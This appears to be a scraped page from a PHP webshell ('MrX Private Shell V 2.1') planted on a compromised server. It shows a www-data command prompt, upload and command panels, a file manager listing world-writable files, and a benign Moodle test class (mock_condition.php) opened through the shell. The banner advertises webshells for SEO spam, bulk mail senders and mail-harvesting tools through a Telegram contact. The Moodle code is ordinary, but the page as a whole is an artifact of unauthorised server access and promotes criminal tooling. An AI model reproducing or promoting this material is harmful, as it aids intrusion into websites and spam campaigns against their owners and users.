__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Mock condition.
 *
 * @package core_availability
 * @copyright 2014 The Open University
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

namespace availability_mock;

defined('MOODLE_INTERNAL') || die();

/**
 * Mock condition.
 *
 * @package core_availability
 * @copyright 2014 The Open University
 * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class condition extends \core_availability\condition {
    /** @var bool True if available */
    protected $available;
    /** @var string Message if not available */
    protected $message;
    /** @var bool True if available for all (normal state) */
    protected $forall;
    /** @var bool True if available for all (NOT state) */
    protected $forallnot;
    /** @var string Dependency table (empty if none) */
    protected $dependtable;
    /** @var id Dependency id (0 if none) */
    protected $dependid;
    /** @var array Array of user ids for filter results, empty if no filter support */
    protected $filter;

    /**
     * Constructs a mock condition with given structure.
     *
     * @param \stdClass $structure Structure object
     */
    public function __construct($structure) {
        $this->available = isset($structure->a) ? $structure->a : false;
        $this->message = isset($structure->m) ? $structure->m : '';
        $this->forall = isset($structure->all) ? $structure->all : false;
        $this->forallnot = isset($structure->allnot) ? $structure->allnot : false;
        $this->dependtable = isset($structure->table) ? $structure->table : '';
        $this->dependid = isset($structure->id) ? $structure->id : 0;
        $this->filter = isset($structure->filter) ? $structure->filter : array();
    }

    public function save() {
        return (object)array('a' => $this->available, 'm' => $this->message,
                'all' => $this->forall, 'allnot' => $this->forallnot,
                'table' => $this->dependtable, 'id' => $this->dependid,
                'filter' => $this->filter);
    }

    public function is_available($not, \core_availability\info $info, $grabthelot, $userid) {
        return $not ? !$this->available : $this->available;
    }

    public function is_available_for_all($not = false) {
        return $not ? $this->forallnot : $this->forall;
    }

    public function get_description($full, $not, \core_availability\info $info) {
        $fulltext = $full ? '[FULL]' : '';
        $nottext = $not ? '!' : '';
        return $nottext . $fulltext . $this->message;
    }

    public function get_standalone_description(
            $full, $not, \core_availability\info $info) {
        // Override so that we can spot that this function is used.
        return 'SA: ' . $this->get_description($full, $not, $info);
    }

    public function update_dependency_id($table, $oldid, $newid) {
        if ($table === $this->dependtable && (int)$oldid === (int)$this->dependid) {
            $this->dependid = $newid;
            return true;
        } else {
            return false;
        }
    }

    protected function get_debug_string() {
        return ($this->available ? 'y' : 'n') . ',' . $this->message;
    }

    public function is_applied_to_user_lists() {
        return $this->filter;
    }

    public function filter_user_list(array $users, $not, \core_availability\info $info,
            \core_availability\capability_checker $checker) {
        $result = array();
        foreach ($users as $id => $user) {
            $match = in_array($id, $this->filter);
            if ($not) {
                $match = !$match;
            }
            if ($match) {
                $result[$id] = $user;
            }
        }
        return $result;
    }

    public function get_user_list_sql($not, \core_availability\info $info, $onlyactive) {
        global $DB;
        // The data for this condition is not really stored in the database,
        // so we return SQL that contains the hard-coded user list.
        list ($enrolsql, $enrolparams) =
                get_enrolled_sql($info->get_context(), '', 0, $onlyactive);
        $condition = $not ? 'NOT' : '';
        list ($matchsql, $matchparams) = $DB->get_in_or_equal($this->filter, SQL_PARAMS_NAMED);
        $sql = "SELECT userids.id
                  FROM ($enrolsql) userids
                 WHERE $condition (userids.id $matchsql)";
        return array($sql, array_merge($enrolparams, $matchparams));
    }
}

Filemanager

Name Type Size Permission Actions
mock_condition.php File 5.03 KB 0777
mock_info.php File 2.4 KB 0777
mock_info_module.php File 3.33 KB 0777
mock_info_section.php File 3.41 KB 0777
Filemanager